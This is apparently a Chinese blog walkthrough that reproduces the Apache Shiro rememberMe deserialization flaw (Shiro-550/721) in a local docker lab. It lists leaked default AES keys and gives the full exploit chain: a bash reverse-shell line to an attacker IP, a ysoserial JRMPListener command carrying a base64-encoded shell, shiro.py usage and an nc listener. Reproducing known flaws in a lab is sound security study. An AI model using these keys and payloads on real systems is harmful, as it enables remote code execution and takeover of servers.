最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享

0x00 关于Apache Shiro

Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API:

认证-⽤用户身份识别,常被称为用户”登录”授权-访问控制密码加密-保护或隐藏数据防止被偷窥会话管理-用户相关的时间敏感的状态

0x01 环境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

访问80端口即可访问漏洞环境

0x02 所需工具

(1)攻击机kali(192.168.10.101)

(2)centos7靶机(192.168.10.105)

(3)docker环境

(4)shiro.py利用脚本

(5)ysoserial.jar(java反序列化利用工具)

0x03 漏洞原理

从官方的 issue 上来看,存在几个重要的点:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

Shiro550:
shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)

整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:

shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从⽽引发反序列化漏洞。

常见的key如下:

kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进⾏遍历key(前提是正常登录得到一个rememberMe的值):

Shiro721:

rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击。

Tip:可以结合JRMP gadget使⽤用,可以⼤大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

0x04 漏洞演示

我们搭建好环境就是这样一个界面

然后输入用户名,密码,勾选Remember Me选项

用burp抓包,然后重放一下,go

发现返回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)

说明存在shiro漏洞

我们先得知道他所用的key是啥,有一个工具很好用,用它可以在dnslog上成功打出key

ps:shiro.py脚本中默认用的是"KPH......"这个key,若打出的key不同,可以修改

然后我们来构造payload来进行反弹shell的操作

写好反弹shell的命令

bash -i >& /dev/tcp/192.168.10.101/666 0>&1

然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)

将指令合成为一个java的监听指令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'

运行它开启java一个监听端口

利用脚本向java发送请求生成poc

python shiro.py 192.168.10.101:6666

然后先在kali上开启一个监听

nc -lvp 666

然后将生成的rememberMe=*******放到发送包的Cookie中

这时成功反弹了shell

ps: shiro.py 和ysoserial.jar要放在同一路径下

参考:http://vlambda.com/wz_wAgsAcgbFI.html

https://paper.seebug.org/shiro-rememberme-1-2-4/

   https://blog.csdn.net/weixin_38166689/article/details/101154245

Apache Shiro反序列化远程代码执行复现的更多相关文章

  1. Apache Shiro反序列化远程代码执行

    一.漏洞利用 wget https://raw.githubusercontent.com/sv3nbeast/ShiroScan/master/moule/ysoserial.jar 反弹shell ...

  2. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  3. Apache ActiveMQ Fileserver远程代码执行漏洞

    扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ ...

  4. 高危!Fastjson反序列化远程代码执行漏洞风险通告,请尽快升级

    据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞.攻击者可利用上述漏洞实施任意文件写入.服务端请求伪造等攻击行为,造成服务器权限被窃取.敏感信 ...

  5. 360众测考试 Drupal 漏洞 CVE-2018-7600 远程代码执行-复现

    0x00 前言 昨天360众测遇到的一个题 今天自己搭环境复现一下,希望对大家有帮助 0x01 漏洞简介 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业 ...

  6. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  7. cve-2019-2725 反序列化远程代码执行

    描述:部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务.由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心 ...

  8. ApacheShiro反序列化远程代码执行 漏洞处理

    Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookierememberMe字段内容分别进行序列化.AES加密.Base6 ...

  9. Apache Struts2 S2-013远程代码执行漏洞复现

    墨者学院开的靶场 进入环境 Struts2-013好家伙,框架直接写脸上,怕人看不出来= = 看了看源码什么的啥都没发现= = 去了解了一下这个漏洞,爬回来继续做 漏洞原理 struts2的标签中&l ...

随机推荐

  1. [BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

    铁人三项(第五赛区)_2018_rop[32位libc泄露] 题目附件 解题步骤: 例行检查,32位,开启了NX保护 试运行一下程序,一开始让我们输入,然后直接输出"Hellow,world ...

  2. NOAA数据下载方法

    NOAA OneStop https://data.noaa.gov/onestop/about NOAA 数据搜索平台,在一个地方同时搜索NOAA的 Geophysical, oceans, coa ...

  3. LuoguP7259 [COCI2009-2010#3] SORT 题解

    Content 请编写一个"频率排序器".输入一个 长度为 \(n\) 的数列 \(A=\{a_1,a_2,\dots,a_n\}\),要求: 按照每个数的出现次数降序排列. 如果 ...

  4. Python+Robot Framework实现UDS诊断自动化测试

    一.环境搭建 1.概述 由于项目需要进行UDS诊断测试,所以对这方面进行了研究学习,网上很少能查询到相关资料,故记录一下UDS自动化测试开发过程,由于保密原则,案例都是Demo,希望能帮到感兴趣的朋友 ...

  5. href超级链接里加上javascript代码的,还有target问题

    href超级链接里加上javascript代码的,还有target问题 得把target="_blank"去掉才好用,在google浏览器有这个也没事,但是在Ie里有这个就不行了

  6. 遇到奇葩的现象,给input的id为10的value属性赋值为6,但是怎么显示的时候值还是原先的9的

    遇到奇葩的现象,给input的id为10的value属性赋值为6,但是怎么显示的时候值还是原先的9的 后来发现原来是id标签重复了,所有以后得注意了. 人员信息input的id属性与隐藏input属性 ...

  7. django——django链接mysql数据库

    1.创建项目 django-admin startproject django_mysql 2.创建App python manage.py startapp app1 3.Mysql数据库配置 (1 ...

  8. typora 基本使用和漂亮的主题样式

    以下是使用博客园的markdown的效果: typora 基本使用和漂亮的主题样式 一.typora 基本使用 ps:文字排版,使用markdown nice 可以一键复制到公众号.知乎:https: ...

  9. 【九度OJ】题目1434:今年暑假不AC 解题报告

    [九度OJ]题目1434:今年暑假不AC 解题报告 标签(空格分隔): 九度OJ http://ac.jobdu.com/problem.php?pid=1434 题目描述: "今年暑假不A ...

  10. 小试国产开源HTAP分布式NewSQL数据库TiDB-v5.3.0

    概述 定义 TiDB官网 https://pingcap.com/zh/ 最新版本为5.3.0 TiDB GitHub源码 https://github.com/pingcap/tidb TiDB是由 ...